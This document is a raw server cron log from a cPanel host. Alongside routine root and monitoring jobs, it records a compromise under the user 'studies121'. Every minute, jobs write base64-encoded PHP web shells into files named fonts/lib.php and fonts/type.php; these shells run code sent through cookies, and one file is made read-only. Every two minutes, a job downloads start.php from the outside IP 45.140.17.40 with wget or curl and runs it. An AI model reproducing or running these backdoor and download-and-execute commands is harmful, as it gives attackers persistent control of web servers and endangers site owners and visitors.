Sep  6 09:13:01 ip-184-168-122-23 CROND[15056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:13:01 ip-184-168-122-23 CROND[15055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:13:01 ip-184-168-122-23 CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:14:01 ip-184-168-122-23 CROND[15153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:14:01 ip-184-168-122-23 CROND[15155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:14:01 ip-184-168-122-23 CROND[15158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:14:01 ip-184-168-122-23 CROND[15156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:14:01 ip-184-168-122-23 CROND[15157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:15:01 ip-184-168-122-23 CROND[15479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:15:01 ip-184-168-122-23 CROND[15483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:15:01 ip-184-168-122-23 CROND[15484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:15:01 ip-184-168-122-23 CROND[15480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:15:01 ip-184-168-122-23 CROND[15482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:15:01 ip-184-168-122-23 CROND[15485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:16:01 ip-184-168-122-23 CROND[15579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:16:01 ip-184-168-122-23 CROND[15581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:16:01 ip-184-168-122-23 CROND[15583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:16:01 ip-184-168-122-23 CROND[15584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:16:01 ip-184-168-122-23 CROND[15585]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:16:01 ip-184-168-122-23 CROND[15586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:17:01 ip-184-168-122-23 CROND[15676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:17:01 ip-184-168-122-23 CROND[15679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:17:01 ip-184-168-122-23 CROND[15680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:17:01 ip-184-168-122-23 CROND[15678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:18:01 ip-184-168-122-23 CROND[15770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:18:01 ip-184-168-122-23 CROND[15772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:18:01 ip-184-168-122-23 CROND[15775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:18:01 ip-184-168-122-23 CROND[15774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:18:01 ip-184-168-122-23 CROND[15773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:19:01 ip-184-168-122-23 CROND[15874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:19:01 ip-184-168-122-23 CROND[15875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:19:01 ip-184-168-122-23 CROND[15876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:19:01 ip-184-168-122-23 CROND[15877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:20:01 ip-184-168-122-23 CROND[15986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:20:01 ip-184-168-122-23 CROND[15992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:20:01 ip-184-168-122-23 CROND[15991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:21:01 ip-184-168-122-23 CROND[16172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:21:01 ip-184-168-122-23 CROND[16173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:21:01 ip-184-168-122-23 CROND[16176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:21:01 ip-184-168-122-23 CROND[16177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:22:01 ip-184-168-122-23 CROND[16264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:22:01 ip-184-168-122-23 CROND[16265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:22:01 ip-184-168-122-23 CROND[16268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:22:01 ip-184-168-122-23 CROND[16269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:22:01 ip-184-168-122-23 CROND[16271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:23:01 ip-184-168-122-23 CROND[16355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:23:01 ip-184-168-122-23 CROND[16357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:23:01 ip-184-168-122-23 CROND[16359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:23:01 ip-184-168-122-23 CROND[16358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:24:01 ip-184-168-122-23 CROND[16442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:24:01 ip-184-168-122-23 CROND[16444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 09:24:01 ip-184-168-122-23 CROND[16445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 09:24:01 ip-184-168-122-23 CROND[16446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:24:01 ip-184-168-122-23 CROND[16447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:25:01 ip-184-168-122-23 CROND[16540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 09:25:01 ip-184-168-122-23 CROND[16545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
